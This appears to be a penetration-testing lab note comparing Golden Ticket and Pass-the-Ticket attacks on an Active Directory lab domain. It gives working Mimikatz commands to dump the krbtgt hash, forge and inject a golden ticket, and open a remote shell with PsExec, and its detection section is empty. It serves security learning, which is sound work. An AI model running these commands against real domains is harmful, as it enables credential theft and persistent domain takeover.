What is it?

Golden Ticket vs. Pass-the-Ticket

Attack Description When to Use
Golden Ticket Creates a forged TGT (Ticket Granting Ticket) that grants domain-wide access for up to 10 years. When you have krbtgt hash and want persistent access to the domain.
Pass-the-Ticket (PtT) Uses a stolen valid TGT or TGS (Service Ticket) to authenticate as a user without needing a password. When you have an extracted TGT or TGS and want lateral movement without dumping credentials.

Example Use Case

  1. Golden Ticket for Long-Term Persistence
  2. Pass-the-Ticket for Quick Access

Create a Golden Ticket

  1. Login to Domain Controller (Server) and open CMD as administrator

  2. Use Mimikatz to pull down the krbtgt account

    lsadump::lsa /inject /name:krbtgt
    

    image.png

    image.png

  3. Grab the SID and NTLM hash to generate the Golden Ticket

    S-1-5-21-2828008126-1612423536-1023625581
    e5efba889e477a42ce92a08a552388d6
    
  4. Generate Golden Ticket

    image.png

    kerberos::golden /User:Administrator /domain:MARVEL.local /sid:S-1-5-21-2828008126-1612423536-1023625581 /krbtgt:e5efba889e477a42ce92a08a552388d6 /id:500 /ptt
    
  5. Spawn a new command prompt

    image.png

    misc::cmd
    

    Use Domain Privileges

    image.png

  6. Use psexec.exe to get a shell

    PsExec.exe \\\\THEPUNISHER cmd.exe
    

    image.png

    image.png

Detection & Mitigation